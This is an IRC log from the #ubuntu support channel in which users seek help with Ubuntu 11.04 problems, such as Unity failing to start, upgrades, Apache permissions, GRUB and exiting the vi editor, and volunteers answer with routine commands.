[11:51] <MACscr> btw, i highly would not recommend telling people to use gnome 2 (classic) if they dont like unity as it appears the classic mode wont be an option with 11.10. So If people dont like unity, they might as well find a new OS from the looks of it. Im starting to do my hunt now unfortunately
[11:51] <Mrokii> oh wait, I solved it.
[11:51] <_3dioot> i am new to ubuntu :)
[11:51] <PresuntoRJ> gib0t: you need to adjust it in the compiz setting for the Unity component
[11:51] <fezzik02> I need help, too
[11:51] <Incarus6> MACscr, e17, lxde, kde, or gubuntu ;)
[11:51] <_3dioot> we all need help with something probably ^_^
[11:51] <_3dioot> haha
[11:51] <fezzik02> lol
[11:52] <_3dioot> anyway i have a wacom.. and i cant fix the proportions
[11:52] <bincoro> good morning everybody
[11:52] <_3dioot> i have a dual monitor setup
[11:52] <atlef> !ask | _3dioot fezzik02
[11:52] <ubottu> _3dioot fezzik02: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[11:52] <PresuntoRJ> Incarus6: remember the system I had that just would not boot? now that it boots, I have no network access
[11:52] <kezzawd> Cruncbang is debian based and uses fluxbox - it's a good one
[11:52] <jdobrien> Mrokii, did you remove zeitgeist?
[11:52] <gib0t> PresuntoRJ: thx
[11:52] <Incarus6> PresuntoRJ, wireless?
[11:52] <PresuntoRJ> Incarus6: I get IP, DNS, etc... but no route to host for anything I try... even posting a bug report :-p
[11:52] <Shaggy2> I have a logitech g15 Keyboard. I want to use the LCD display in ubuntu does anyone know how I can go about this, or where I can find help on this matter
[11:52] <Incarus6> PresuntoRJ, and irc is still working?
[11:53] <PresuntoRJ> Incarus6: nope... cat5e UTP cable directly connected to the router
[11:53] <fezzik02> Ok, so the computer doesn't recognize the correct resolution for my LCD
[11:53] <dibs> Incarus6: Is it not normal to have non standard packages installed? I don't understand why my system is having issues, Just want to try 11.
[11:53] <PresuntoRJ> Incarus6: I got even IP and DNS from DHCP... but no network
[11:53] <_3dioot> I have installed Ubuntu 11.04 - the Natty Narwhal | I have a dual monitor setup | I use wacom tablet | currently its stretched over my two monitors so the proportions are completely screwed | this needs to be fixed cause i cannot work this way
[11:53] <_3dioot> is that better?
[11:53] <vampire> I'm back
[11:53] <PresuntoRJ> Incarus6: ip add and ip route also show the expected config
[11:54] <Incarus6> dibs, foreign (unsupported) package repos prevents the system from upgrading. Try the official ppa, after that you could change back to your repo
[11:55] <MACscr> Incarus6: its really to bad that gnome and ubuntu decided to  make such radical changes. If people wanted something so radically different, they would have chosen a different project. Right now i feel like i was given a "bait n switch"
[11:55] <Incarus6> PresuntoRJ, sry, I don't know anything about that ;) is your network card recognized and is it working properly?
[11:55] <vampire> how I can put a game on my localhost
[11:56] <SoulRaven> hi
[11:56] <PresuntoRJ> Incarus6: just said that it is... I have got the correct IP from my DHCP... it means it is working
[11:56] <PresuntoRJ> Incarus6: just cannot get anywhere...
[11:56] <SoulRaven> where i can find a tutoriale for using xtables and account feature?
[11:56] <_3dioot> nobody is willing to lend me a hand with setting up my wacom tablet under ubuntu?
[11:56] <Incarus6> MACsrc,  Canonical tries to increase the amount of desktop computer with ubuntu and they know, that gnome is not the best solution for modern desktop ("multimedia") computer
[11:57] <PresuntoRJ> Incarus6: total mess on this machine... natty killed it
[11:57] <MACscr> Incarus6: most desktops are not used for multimedia, most are used for productivity
[11:57] <Incarus6> _3dioot, are you using Natty (11.04)?
[11:57] <vampire> ????
[11:57] <PresuntoRJ> Incarus6: by the way, when I boot from the natty live CD I have just burned, it works... I have IP and Network
[11:58] <raven_> looking for an open street map tool to draw gpx routes for planning a tour
[11:58] <dibs> Incarus6: Does that mean I can just untick the repos and update before trying upgrade or do I need to uninstall anything not from official repos?
[11:58] <jubei> guys unity fails to start :(
[11:58] <jdobrien> gah! Quakelive game launcher is not compatible with Firefox 4.01
[11:58] <MACscr> dibs: just untick anything third party
[11:58] <jubei> i guess it's a known issue huh?
[11:58] <MACscr> you dont have to uninstall them
[11:58] <Incarus6> MACscr, but the normal non-nerd user want a beautiful system, and gnome isn't beautiful in my oppinion ;)
[11:58] <PresuntoRJ> Incarus6: but the upgrade from maverick could not be more disastrous than what I have got so far... though it has just worked flawlessly in another machine
[11:58] <dibs> sweet
[11:59] <Incarus6> dibs, you don't need to uninstall anything, just disable these unsupported repos and activate the officials
[11:59] <dibs> man, if thats all thats' stopped I will be pissed, the upgrader says it does it for you
[11:59] <MACscr> Incarus6: thats a theme issue imho. You dont decrease productivity to increase "prettyness", EVER.
[11:59] <wozero> wozero
[11:59] <jubei> can somebody help me start unity cooz..it started 1st boot but then refuses to start on subsequent boots
[11:59] <Mrokii> jdobrien: No. But I noticed that I had clicked one of the buttons in the search-box without realizing it, making it look for documents only. It's very hard to notice that, as there is almost no difference between the selected and unselected button.
[11:59] <raven_> looking for an open street map tool to draw gpx routes for planning a tour
[11:59] <jdobrien> Mrokii, whoops. That had to be frustrating
[11:59] <Incarus6> PresuntoRJ, sry, I can't help you. you could fill out a bug rebort on the ubuntu bug tracker
[11:59] <wozero> hello
[12:00] <PresuntoRJ> Incarus6: I have an open bug on decrease productivity and it got blocked as an "opinion"
[12:00] <kaiyin> is it possible to run ubuntu or xubuntu withou gdm?
[12:00] <Mrokii> jdobrien: yeah, it definitely needs some refinement there.
[12:00] <PresuntoRJ> Incarus6: no network means not able to file ubuntu-bug also from that machine... any suggestions?
[12:00] <Incarus6> MACsrc, but if the "good-lucking" windows works as good as the "ugly" gnome, why should you prefer ubuntu? ;)
[12:01] <Incarus6> PresuntoRJ, create a bug report from another computer and copy the information from yours ;)
[12:02] <PresuntoRJ> Incarus6: what files should I copy? thats what ubuntu-bug would help me with...
[12:02] <d3vlin> how can I manually start the unity dock? I only have an empty desktop now with cursor
[12:02] <connex> Hi, i just upgraded to natty and i have a problem with the default theme: http://img839.imageshack.us/i/screenshot1114.png/
[12:02] <PresuntoRJ> Incarus6: and to what package?
[12:02] <cfc_{Pawpad}> good morning
[12:03] <Incarus6> PresuntoRJ, I don't know, ask the people in the bug tracker, after you opened the bug report ;)
[12:03] <jubei> d3vlin,  I have the same problem
[12:03] <Incarus6> BRB
[12:03] <cfc_{Pawpad}> What is LVM
[12:04] <jonathan> hello
[12:05] <milen8204> help me to sudo mount -t ext4  /dev/sta5 /home
[12:05] <Ubuntu_user> How do i install .sh file i downloaded from internet
[12:05] <raven_> looking for an open street map tool to draw gpx routes for planning a tour
[12:05] <jrib> Ubuntu_user: what program are you trying to install?
[12:06] <Ubuntu_user> jrib: netbeans 7.0
[12:06] <jrib> Ubuntu_user: why not use the netbeans in the repository?
[12:06] <vampire> can somebody help
[12:06] <llutz> raven_: viking
[12:07] <llutz> raven_: maybe qlandkartegt
[12:07] <Ubuntu_user> jrib:  that is 6.9
[12:07] <Incarus6> dibs, I hope that fixed it. Im off for 10-20 minutes
[12:07] <Akashaa> hi!, I've created a bootable usb drive with usb-creator-gtk that can be booted well, but at install it still searches for cd-rom, and can't find any.
[12:07] <raven_> llutz, how to "draw" tracks in viking?
[12:07] <NeoCicak> has anyone tried unity2d ? I cant seem to make it to have multiple workspace..... when i click the workspace switcher, only one is shown (top left)... the rest are dark :(
[12:07] <dibs> Incarus6: it's calulating changes still :|
[12:08] <Incarus6> dibs, ok, then me then if it worked or not
[12:08] <d3vlin> jubei: a unity --reset and logging out/back in solved it for me
[12:08] <Sidewinder1> !ask | vampire
[12:08] <ubottu> vampire: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[12:08] <jrib> Ubuntu_user: make the file executable (chmod +x file) and execute it (./file).  Keep in mind you should read its documentation to see if there are any special requirements and what to learn what to do if you want to remove it.
[12:08] <Ubuntu_user> made it executable
[12:08] <vampire> ok
[12:08] <Courz> guys?
[12:09] <Courz> someone know how to compile perl script to exe file
[12:09] <llutz> raven_: add track layer, start track, plot the track you want
[12:09] <jrib> Courz: erm, why?
[12:09] <Rehan> guys i'm using grub customizer and for some reason none of the settings I'm saving with it are showing up when i do sudo update-grub, instead i see old settings still being setup in the grub update. Any fix possible for this? Much appreciated.
[12:09] <Courz> i need to compile
[12:09] <jubei> d3vlin, the thing is that I've deleted my boost libraries and upgraded to the latest version of boost and how compiz is looking for libboost1.42.0 :(
[12:09] <Courz> because i want to send someone my program on windows
[12:09] <Courz> and he doesnt have perl installed
[12:09] <jrib> Courz: ask #perl
[12:09] <De|ta> hi, anyone help me out with apache2 under 10.04 LTS server. Have copied some files over to /var/www but I get permission denied in error.log when attempting to access them from a browser
[12:09] <vampire> but my question is how to make my game on localhost and how to make is online
[12:09] <Courz> and have no idea how to execute it
[12:10] <llutz> raven_: "trackwaypoint layer" it is
[12:10] <Ubuntu_user> jrib like file is at /home/username/Desktop/netbeans.sh so can you please tell me complete command to execute it
[12:10] <raven_> llutz, ok i'll try
[12:10] <jrib> Ubuntu_user: I told you the commands
[12:10] <muneeb> does unity --reset takes time?? it stuck at some point very long then i Ctrl-C it...
[12:10] <cfc_{Pawpad}> im trying install ubuntu server 11.04 but im stuck at the chooseing with or with out LVM
[12:10] <De|ta> without LVM
[12:10] <Ubuntu_user> jrib:  I am new to linux........
[12:10] <cfc_{Pawpad}> what dose LVM do?
[12:11] <De|ta> (if you have to ask, you likely don't need it)
[12:11] <jrib> Ubuntu_user: what's your question though?  I told you the command already
[12:11] <De|ta> I'm not sure tbh, I was relaying what I was told (n00b here too)
[12:11] <spacebug-> De|ta: are the file modes correct?
[12:11] <muneeb> does unity --reset takes a lot of time?
[12:12] <De|ta> i'm not sure, but i'm not sure how to check / what they should be set to spacebug-
[12:12] <Ubuntu_user> jrib:  should i type  ./home/username/netbeans.sh to execute it
[12:12] <rrjjnnbb> hello to all
[12:13] <jrib> Ubuntu_user: no, if you are in /home/username/Desktop, you can type ./netbeans.sh ('.' represents the directory you are in).  If you are somewhere else, you can give the full path like you just suggested: /home/username/Desktop/netbeans.sh
[12:13] <NeoCicak> anyone has used unity 2d before?
[12:13] <spacebug-> De|ta: do 'ls -l /var/www' and see that the files have 'r' for everyone
[12:13] <vampire> how can I get acces to var/www/
[12:13] <Ubuntu_user> jrib:  thanks i try it and tell you result
[12:14] <De|ta> drwx------ 17
[12:14] <De|ta> that'll be a no then!
[12:15] <De|ta> chmod a+r file ?
[12:15] <spacebug-> well that seems to be a directory also
[12:15] <vampire> I always get /etc/apt/sources.list: Toegang geweigerd
[12:15] <spacebug-> have you copied a subdir in there?
[12:15] <De|ta> yes, it is a directory that i'm trying to access
[12:15] <jrib> vampire: now run the command with "LANG=C" so we can understand it
[12:16] <dibs> Incarus6: Nope, hmm, is it possible to upgrade from mav? what could have I done to make it so impossible?
[12:16] <redhat> haha
[12:16] <redhat> is anyone here ?
[12:16] <spacebug-> De|ta: ah ok then do a 'chmod 755 dirname'
[12:16] <redhat> so many people aha
[12:17] <Ubuntu_user> jrib:  it requires  jdk 6, can iget it directly installable
[12:17] <vampire> I always get Permission denied
[12:17] <redhat> who want talk to me?
[12:17] <Akashaa> hi!, I've created a bootable usb drive with usb-creator-gtk that can be booted well, but at install it still searches for cd-rom, and can't find any. The try-usb option did not help.
[12:17] <redhat> dididada
[12:17] <botcity> !ot | redhat
[12:17] <ubottu> redhat: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[12:18] <De|ta> that's done it spacebug-, thanks
[12:18] <redhat> sorry
[12:18] <De|ta> (now to work out why jiznora is throwing php errors :| )
[12:19] <spacebug-> hehe
[12:19] <Rehan> is there a way to use the nouvea drivers for grub2 and plymouth?
[12:19] <UserX7> hi ubuntu 11.04 -- how to check what graphics driver i am using? Additional Drivers program shows i am not using proprietary yet Unity is working fine, which the program claims it won't.
[12:20] <De|ta> spacebug-: using those permissiosn I'm now getting permission denied errors in error.log when php is trying to open streams, but 755 should be ok for scripts shouldn't it ??
[12:21] <Gangrel> anyone knows how to flip sidebar on 11.04 and put it down side
[12:21] <Sidewinder1> UserX7, I'm a firm believer in the old adage, if it ain't broke, don't fix it.
[12:21] <De|ta> I can open the dir, and apache doesn't return a 403 anymore when loading the index - but the script doesn't seem to execute properly
[12:21] <spacebug-> De|ta: for files you would probably want 644 as file permission
[12:21] <UserX7> Sidewinder1: I just want to tell someone what graphics drivers i'm using, that's all
[12:22] <De|ta> ok, can chmod be used with a mask to do set the permissions of all files in a directory?
[12:22] <Sidewinder1> UserX7, Not sure exactly how to do that if it's not found under Hardware Drivers.
[12:23] <botcity> UserX7, unity can work without additional drivers but if you require wiz bang graphics and such i would enable them.
[12:23] <Phalanx1234> Hey guys
[12:23] <Phalanx1234> Can someone help me with an issue,
[12:23] <Sidewinder1> !ask
[12:23] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[12:23] <Phalanx1234> Google has failed me....
[12:23] <UserX7> botcity: any chance I'm using the nouveau drivers? lspci doesn't say
[12:23] <Phalanx1234> Haha ok, =P
[12:24] <Rehan> Sidewinder1: where is the Hardware Drivers section?
[12:24] <Soothsayer> Can I change the mac address ?
[12:24] <Ubuntu_user> Hi guys I am using 11.04 64 bit version, and want to install jdk 6, which command should i install
[12:24] <Soothsayer> Can I change the mac address of a network card?
[12:24] <Phalanx1234> Getting a booting issue,
[12:24] <Phalanx1234> tried running fsck and I get this
[12:24] <Phalanx1234> ubuntu@ubuntu:~$ sudo fsck /dev/sda1
[12:24] <botcity> UserX7, if you have not enabled them then chances are you are not using them
[12:24] <Phalanx1234> fsck from util-linux-ng 2.17.2
[12:24] <frag4now> hi all. I get an old ubuntu(10.04), I performed apt-get update, but into update manager there isn't the button to upgrade to new ubuntu version. How can I start upgrade to newest ubuntu release?
[12:24] <Phalanx1234> e2fsck 1.41.12 (17-May-2010)
[12:24] <FloodBot1> Phalanx1234: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[12:24] <Phalanx1234> fsck.ext4: Device or resource busy while trying to open /dev/sda1
[12:25] <Sidewinder1> Rehan: Try: System--> Hardware Drivers
[12:26] <UserX7> botcity: ok; so any ideas what the driver is called that i'm using/how to see what's in use?
[12:26] <botcity> Soothsayer, sudo apt-get macchanger. also ifconfig can do it i believe
[12:26] <Phalanx1234> http://paste.ubuntu.com/601279/
[12:26] <Rehan> Sidewinder1: thanks, i don't seem to have that menu option on 11.04 64bit
[12:27] <Sidewinder1> Rehan: Ah, OK I'm using Lucid; I usually answer in that vein. Sorry I can't be of more help.
[12:27] <Dr_Willis> Phalanx1234:  you are not trying to fsck a mounted filesystem are you?
[12:27] <Phalanx1234> No,
[12:27] <Rehan> sidewalk: no need to be sorry, appreciate you taking the time to even answer
[12:28] <Dr_Willis> Phalanx1234:  you may want to try checking it from a live cd.
[12:28] <Phalanx1234> ubuntu@ubuntu:~$ sudo umount /dev/sda1
[12:28] <Phalanx1234> umount: /dev/sda1: not mounted
[12:28] <Phalanx1234> I am using a live CD
[12:28] <Phalanx1234> That's how I'm talking to you =P
[12:28] <Sidewinder1> Rehab: That's why I like LTS; I don't like having to relearn a 'new' system every six months...
[12:28] <Incarus6> dibs, is it working?
[12:28] <Dr_Willis> Phalanx1234:  check output of mount command - be double sure its not mounted..  could be theres some confion in the config files.
[12:29] <dibs> Incarus6: nope, still fails
[12:29] <Sidewinder1> Rehan: But that's just me.
[12:29] <Incarus6> dibs, pls paste the new apt.log
[12:29] <Rehan> Sidewinder1: thanks
[12:30] <Sidewinder1> Rehan: Welks
[12:30] <leyle> hi,i've a problem about the window, if i open two(or more) program ,and the some windows upon the other ,if i want see the under window,i hit the blank aera in the under window,but the above window wouldn't hide ,maybe my english is poor,so i made a pitcutre to show my question,  http://imagebin.org/index.php?mode=image&id=150973
[12:30] <Dr_Willis> Phalanx1234:  i seem to recall some bug report  about a topic similer to this. but  that was a few days ago.
[12:30] <botcity> UserX7, you could try "system testing "app  from the menu  it goes through hardware testing them will show up anything not working and possible drivers to be installed.
[12:31] <tomatto_> hi
[12:31] <vampire> heb een probleem met mijn irc
[12:31] <dibs> Incarus6: http://paste.ubuntu.com/601281/ thanks for sticking about man
[12:31] <Phalanx1234> Checked it, it's unmounted
[12:32] <Incarus6> dibs, its 23 o'clock?
[12:32] <Sidewinder1> Nah, vamp., it's workin' fine.
[12:32] <dibs> yep
[12:32] <vampire> I have a problem with irc
[12:32] <dibs> Incarus6: yeah, on sat night, sad huh
[12:32] <tomatto_> i upgraded ubuntu from 10.10 to 11.04 and i have situation on both computers, about first, unity won't to be run and about second grub won't to boot system, or just execute yourself. what can i do?
[12:32] <dibs> Incarus6: or is that leet? ;)
[12:33] <frewo64__> !flash10
[12:33] <Incarus6> dibs, leet? ^^
[12:33] <vampire> when I try to connect its say Verbinden mislukt. Fout: Verbinding is geweigerd
[12:33] <Dr_Willis> tomatto_:  be sure you got the proper 3d drvers working on the first one.. as for the second..  tried reinstalling grub from a live cd?
[12:34] <Rehan> Sidewinder1: i have another question -- is there a way i can have File System show up in my Places dropdown menu in top panel?
[12:34] <dibs> Incarus6: sweeet
[12:34] <vampire> when I try to connect its say Connection failed. Error: Connection refused
[12:34] <Incarus6> dibs, ? :D
[12:34] <mikebeecham> hi guys...my windows seem a little jerky when dragging around the desktop...could anyone help me with this
[12:36] <leyle> hi,i've a problem about the window, if i open two(or more) program ,and the some windows upon the other ,if i want see the under window,i hit the blank aera in the under window,but the above window wouldn't hide ,maybe my english is poor,so i made a pitcutre to show my question,  http://imagebin.org/index.php?mode=image&id=150973
[12:36] <Sidewinder1> Rehan: Not sure how; it shows up in mine, in the left portion of the screen after I click home'
[12:36] <Incarus6> dibs, lets try "sudo apt-get -f install" and "sudo aptitude" look for broken dependencies with aptitude
[12:36] <Rehan> Sidewinder1: yea it shows up in my Home folder's left panel also but not in my Places dropdown from top panel...pretty annoying!
[12:37] <botcity> mikebeecham,  you can ajust windows and other desktop configurations through ccsm
[12:37] <Incarus6> dibs, the second thing: can you remove "libnss3" without removing alot of other packages?
[12:37] <mikebeecham> botcity, in there now...I wondered whether it might be a driver issue
[12:37] <kkal> does the ubuntu installer erase home during the install?
[12:37] <mikebeecham> just jerky windows seems like gfx
[12:37] <raw_recruit> Hey @ ALL! Can anyone (german) can help me solving a problem with MEDIBUNTU? Don't know how to deinstall.... :(
[12:37] <Dr_Willis> kkal:  if you have home on its own partition. you can keep it untouched.
[12:38] <raw_recruit> please PM
[12:38] <PresuntoRJ> kkal: not supposed to... you could, accidentally, erase the partitions on a new install
[12:38] <Dr_Willis> raw_recruit:   Medibuntu is just a repository.  Use the package manager to remove whatever packages you installed from it.
[12:38] <kkal> Dr_Willis: now I will put home on a separate partition
[12:38] <kkal> thanks
[12:38] <Dr_Willis> kkal:  i keep my /home/ on its own hard drive. :)
[12:39] <PresuntoRJ> kkal: is your disk in a single partition or you have /home separated ?
[12:39] <Sidewinder1> Rehan: I'm sure there's a way to do want you want, but after a quick check, I'll be darned if I can see where. :-(
[12:39] <kkal> PresuntoRJ: single partition for ubuntu unfortunately
[12:39] <dios_mio> !totem
[12:39] <ubottu> Audio (Ogg, MP3...) players: Audacious, Banshee, Listen, Quod Libet, Rhythmbox, Exaile, XMMS2 (GTK/Gnome based) and Amarok, JuK (Qt/KDE based).  Video players: Totem, Xine, MPlayer, VLC, Kaffeine - See also !codecs
[12:40] <kkal> also, unity seems very laggy, especially with launching applications. Is that intended?
[12:40] <botcity> mikebeecham, it may be but it would effect everything i suspect. perhaps some testing!
[12:40] <PresuntoRJ> kkal: that is not a problem, usually... I have a system that has home separated, and another witha single partition... upgrades work on both since 5 versions ago
[12:40] <PresuntoRJ> kkal: just in case, do a backup of your home to an external drive or DVD
[12:40] <cool-RR> Hello!
[12:40] <PresuntoRJ> kkal: play safe, but not mandatory
[12:40] <cool-RR> I've installed 11.04 on VMWare
[12:41] <saju_m> how set 10.10 style back to 11.04
[12:41] <cool-RR> But Unity isn't working
[12:41] <Kevin147> yeah I recommend backing it up :P
[12:41] <kkal> PresuntoRJ: right! thanks
[12:41] <cool-RR> What can I do?
[12:41] <Kevin147> I tried that before and lost everything :/
[12:41] <Sidewinder1> Rehan: Why do you need to access the File System so often?
[12:41] <PresuntoRJ> cool-RR: unity never works on VMWare by design
[12:41] <LjL> cool-RR: i don't think Unity can work in virtual machines, because of lack of 3D support (although VMWare possibly has some?)
[12:41] <PresuntoRJ> cool-RR: only on full blown systems
[12:41] <jeija> cool-RR: it works in the latest virtualbox version i think
[12:41] <Dr_Willis> saju_m:  clarify what you mean. You can select classic (old style) desktop or unity.(ubuntu) at the GDM login screen
[12:41] <cool-RR> LjL: VMWare does have some and I enabled it
[12:41] <PresuntoRJ> cool-RR: I believe i has something to do with the video drivers inside VMWare
[12:41] <Rehan> Sidewinder1: not sure haha, i just end up having to go in there quite a bit. All my media is on a different partition which is mounted, and then for some stuff i have to go into file system
[12:41] <Dr_Willis> You can always enable the unity-2d for virtual machines.
[12:41] <cool-RR> jeija: I guess I'll try VirtualBox
[12:42] <jeija> cool-RR: http://www.omgubuntu.co.uk/2011/04/heads-up-unity-working-with-the-lastest-virtualbox/
[12:42] <LjL> cool-RR: well, i don't know, but it might not be enough. last time i tried Unity, my FX5200 card wasn't enough to support it
[12:42] <kkal> another question: launching firefox takes about 2-3 seconds. Is that normal?
[12:42] <PresuntoRJ> Dr_Willis: but its not really the same
[12:42] <saju_m> have any way to set ubuntu 10.10 theme(GUI) in 11.04
[12:42] <kkal> this is with unity
[12:42] <melike> ne diyonuz ya
[12:42] <PresuntoRJ> kkal: to what? to open a site? or to open firefox ?
[12:42] <LjL> kkal: 2-3 seconds doesn't seem like a lot...
[12:42] <Dr_Willis> PresuntoRJ:  never noticed.
[12:42] <saju_m> 11.04 UI is very confusing
[12:42] <kkal> to open firefox
[12:42] <PresuntoRJ> kkal: its pretty fast actually
[12:42] <cool-RR> I'll look into these options
[12:42] <cool-RR> Thanks everyone for your help!
[12:42] <melike> hi
[12:42] <cool-RR> Goodbye
[12:42] <Incarus6> dibs, pls paste: "apt-cache policy libeet1 libnss3-1d libnm-util1 chromium-browser librpmio1 xulrunner-1.9.2 chromium-browser-l10n gnome-pilot enna gnome-pilot-conduits  openshot"
[12:42] <saju_m> i need 11.04 with 10.10 theme
[12:43] <Incarus6> !classic | saju_m
[12:43] <kkal> the icon blinks for 2-3 seconds. and then it runs reasonably fast. I did a 10.04 -> 10.10 -> 11.04 upgrade. I suspect I need to do a fresh install
[12:43] <Sidewinder1> Rehan: OK, I have looked around quite extensively, in file system, but I don't need to that often.
[12:43] <tomatto_> Dr_Willis: on first i have upgraded system, so drivers are ok i hope. desktop is shown, but unity is not shown. top and side menu is not shown
[12:43] <saju_m> <Dr_Willis> how do that ?
[12:44] <Kevin147> kkal: It takes me the same time and I have a quad-core. So its normal
[12:44] <kkal> PresuntoRJ:the icon blinks for 2-3 seconds. and then it runs reasonably fast. I did a 10.04 -> 10.10 -> 11.04 upgrade. I suspect I need to do a fresh install
[12:44] <Dr_Willis> saju_m:  on the LOGIN screen theres a menu at the bottom after you enter your user name
[12:44] <ray`> hello, im trying to recover grub 2 after the 11.04 update because it only shows windows 7 and memtest86, ive tried several howto's but no success, anyone knows how to recover it?
[12:44] <saju_m> ok
[12:44] <jeija> ray: you could user the super grub disk
[12:45] <PresuntoRJ> kkal: hum... not sure how it could get better... do you have a SDD disk instead of HDD? unless some special setup like this, 2 to 3 seconds is quite ok... has it degraded a lot since 10.10 ?
[12:45] <Incarus6> dibs, libnss3 seems to be the cause of most of these errors, woulb be easier without it. did it work?
[12:45] <ray`> thanks jeija i will try
[12:46] <kkal> PresuntoRJ: its bearable I agree. Its not as fast as 10.04 though.
[12:46] <kkal> PresuntoRJ: if this is expected, I can avoid a clean install. Thanks
[12:46] <Al-Bawi> is there a problem with the server for upgrading ?
[12:47] <preyas_> hey any1 know how to change themes in gnome 3 in ubuntu
[12:47] <preyas_> i installed ubunut
[12:47] <Kevin147> preyas_: In Appearance
[12:47] <jeija> you could use gnome tweak
[12:47] <Incarus6> Al-Bawi, if it's not reachable try a mirror
[12:47] <Incarus6> !mirror | Al-Bawi
[12:47] <ubottu> Al-Bawi: Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Mirrors - PLEASE use the !torrents to download !Natty, and help keeping the servers' load low!
[12:47] <dibs> Incarus6: http://paste.ubuntu.com/601293/ If I remove that lib you menitoned I lose about 1gb of apps. So I didn't
[12:47] <Akashaa> hi!, I've created a bootable usb drive with usb-creator-gtk that can be booted well, but at install it still searches for cd-rom, and can't find any. The try-usb option did not help.
[12:47] <jeija> there aren't many options for gnome 3
[12:48] <PresuntoRJ> kkal: there is an option in compiz setting for unity, that control the icon animation when you start an application... you could try to change to something else, like nothing, and check if it gets any faster.... besides that, the time it takes to load seemes like the times it takes to load.. not sure if it could get much better
[12:48] <preyas_> Kevin147, hey kevin appearance menu is disabled in gnome 3
[12:48] <tomatto_> fucking ubuntu!
[12:48] <dibs> Incarus6: Does this mean I really have to uninstall all those apps?
[12:48] <Kevin147> !language | tomatto_
[12:48] <preyas_> Kevin147, its not available after i install gnome 3
[12:48] <ubottu> tomatto_: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[12:48] <jeija> preyas: have a look at this: http://blog.fpmurphy.com/2011/03/customizing-the-gnome-3-shell.html
[12:48] <bazhang> tomatto_, no cursing
[12:49] <kkal> PresuntoRJ: yeah. Im looking for configs which used to be in obvious places with gnome, unity is completely different
[12:49] <PresuntoRJ> kkal: I hate it too ;)
[12:49] <preyas_> hey i want suggestion for ubuntu not for fedora
[12:49] <DirtyDawg> tomatto_: try something like Ubuntu! i smaite thee sir, and a curse upon your camels...
[12:49] <Dr_Willis> bI would think most unity settings are in gconf, or where compiz keepos theirs..
[12:50] <Incarus6> dibs, "libeet1" is outdated, could you update? and pls paste the output of which package will be removed, if you would remove that libnss3
[12:50] <PresuntoRJ> kkal: try clicking in the poweroff button, there should be a System Settings option there... much like a control panel
[12:50] <preyas_> jeija, hey i want suggestion for ubuntu not for fedora
[12:50] <Incarus6> !nss
[12:50] <jeija> most parts should also work for ubuntu
[12:50] <jeija> especially the gnome3 tweak section
[12:50] <Rehan> is there a way to have your status in ubuntu set to "busy" automatically on login? or is there some script i could write to do that? thank you
[12:50] <kkal> PresuntoRJ: got it! thanks!
[12:50] <preyas_> jeija, i have ubuntu tweak tool
[12:51] <preyas_> but its have some themes
[12:51] <poipoi> Hi!
[12:51] <preyas_> how can i add there more themes
[12:51] <PresuntoRJ> kkal: I am getting  used to it, but still hate it ... :-p
[12:51] <poipoi> Im downloading ubuntu for usen on my grandmothers computer
[12:51] <jeija> preyas, do you mean ubuntu tweak or gnome 3 tweak?
[12:52] <preyas_> i have both
[12:52] <tomatto_> can i downgrade ubuntu from 11.04 back to 10.10 ?
[12:52] <preyas_> jeija, i have both
[12:52] <M0TRN> tomatto_, no
[12:52] <tomatto_> great
[12:52] <poipoi> @tomatto I don't think so
[12:52] <M0TRN> but you can disable Unity and get hte menus back to their normal place tomatto_
[12:52] <preyas_> jeija, i was able to change the theme through gnome tweak tool
[12:52] <bazhang> tomatto_, full reinstall
[12:52] <Sidewinder1> But you can reinstall 10.10
[12:52] <preyas_> jeija, so i downloaded it
[12:52] <Sidewinder1> Beat me.
[12:52] <bazhang> tomatto_, you have a seperate home partition? want to create one?
[12:52] <bazhang> !home | tomatto_
[12:52] <ubottu> tomatto_: Your home directory is where all of your personal files are usually kept. For moving your home directory to a separate partition, please see: http://psychocats.net/ubuntu/separatehome
[12:52] <loseweight> how to save changes to a file using vi editor
[12:53] <PresuntoRJ> kkal: also in the compiz settings, you can prevent the autohide, change transparencies, etc... not sure how to change the workspaces (Super+S), and a few other lame restrictions
[12:53] <Incarus6> dibs, no, don't remove these, just give me the output
[12:53] <M0TRN> loseweight, Escape, :, x, return
[12:53] <poipoi> Used to have Me but failed experiment :(
[12:53] <poipoi> Old Ubuntu disk broken
[12:53] <tomatto_> bazhang: no i haven't separate home partition
[12:53] <loseweight> it keeps making a .swap file
[12:53] <loseweight> why?
[12:54] <bazhang> tomatto_, check that link on how to create one if you so desire
[12:54] <loseweight> and none of those commands work Sir
[12:54] <loseweight> x
[12:54] <loseweight> ;
[12:54] <loseweight> escape
[12:54] <FloodBot1> loseweight: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[12:54] <tomatto_> bazhang: if it is only one option
[12:55] <jrib> loseweight: if you don't want to use vi, use nano
[12:55] <loseweight> i have no choice now
[12:55] <loseweight> im inside the document
[12:55] <loseweight> how to exit and save
[12:55] <jrib> loseweight: ESCAPE:wq   in the future use nano
[12:55] <tomatto_> bazhang: i am desperate
[12:55] <Al-Bawi> can i upgrade from 10.10 to 11.04 by using the CD , because i dont want to erase my current documents and games in 10.10
[12:55] <loseweight> none of them work
[12:55] <jrib> loseweight: yes, it does.
[12:55] <loseweight> im still inside the vi editor
[12:56] <loseweight> it doesn't
[12:56] <jrib> loseweight: press escape, then colon, then w, then q, then enter.
[12:56] <loseweight> at the same time?
[12:56] <jrib> loseweight: no?
[12:56] <Glycan> Why doesn't banshee work? At all. It just says banshhe mdeia player starting, and then it doesn't do anything!
[12:56] <PresuntoRJ> loseweight: sequentially
[12:56] <loseweight> ok i did them all
[12:56] <loseweight> im still in vi editor
[12:56] <jrib> loseweight: then I recommend you start over in nano
[12:56] <tomatto_> is not possible to reinstall ubuntu with no user data remove? when i don't have separate partition of home
[12:56] <loseweight> but i need to get out
[12:56] <tomatto_> ?
[12:57] <loseweight> pleaseeeeeeeeeeeeee help me
[12:57] <jrib> loseweight: close the terminal
